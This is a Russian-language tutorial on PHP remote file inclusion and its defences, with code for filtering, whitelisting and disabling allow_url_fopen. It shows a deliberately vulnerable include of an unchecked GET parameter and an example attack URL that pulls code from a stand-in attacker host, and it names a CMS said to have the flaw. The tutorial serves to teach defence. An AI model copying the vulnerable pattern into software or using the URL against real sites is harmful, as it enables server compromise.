В этом уроке мы рассмотрим один из видов взлома сайта и как от него защититься. Для начала давайте поймем, что такое PHP-инъекция.
PHP-инъекция — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне.
Потенциально опасными функциями являются:
¤ eval()
¤ preg_replace()
¤ require_once()
¤ include_once()
¤ include()
¤ require()
¤ create_function()
PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.
Пример
<?
...
$module = $_GET['module'];
include($module.'.php');
...
?>
Этот скрипт уязвим, так как к содержимому переменной $module просто прибавляется «.php» и по полученному пути подключается файл.(когда ставил одному чуваку защиту для движка Dcms Social помню, там такая уязвимость есть в системном файле)
Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php ), и зайдя на сайт по ссылке вроде
http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.
Способы защиты
Существует несколько способов защиты от такой атаки:
Проверять, не содержит ли переменная $module посторонние символы:
<?
...
$module = $_GET['module'];
if (strpbrk($module,'.?/:')) die('Пошел в жопу, хакер одноклеточный');
include $module.'.php';
...
?>
Проверять, что $module присвоено одно из допустимых значений:
<?
...
$module = $_GET['module'];
$arr = array('main', 'about', 'links', 'forum');
if (!in_array($module, $arr))
$module = $arr[0];
include $module.'.php';
...
?>
Этот способ является более эффективным, красивым и аккуратным.
Прописать каждое значение через if
<?
...
$module = $_GET['module'];
if ($module == 'main')
include 'main.php';
if ($module == 'about')
include 'about.php';
if ($module == 'links')
include 'links.php';
if ($module == 'forum')
include 'forum.php';
...
?>
PHP предоставляет также возможность отключения использования удаленных файлов, это реализуется путем изменения значения опции allow_url_fopen на Off в файле конфигурации сервера php.ini.
Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.
Если у вас отстались вопросы - задавайте, рад буду помочь.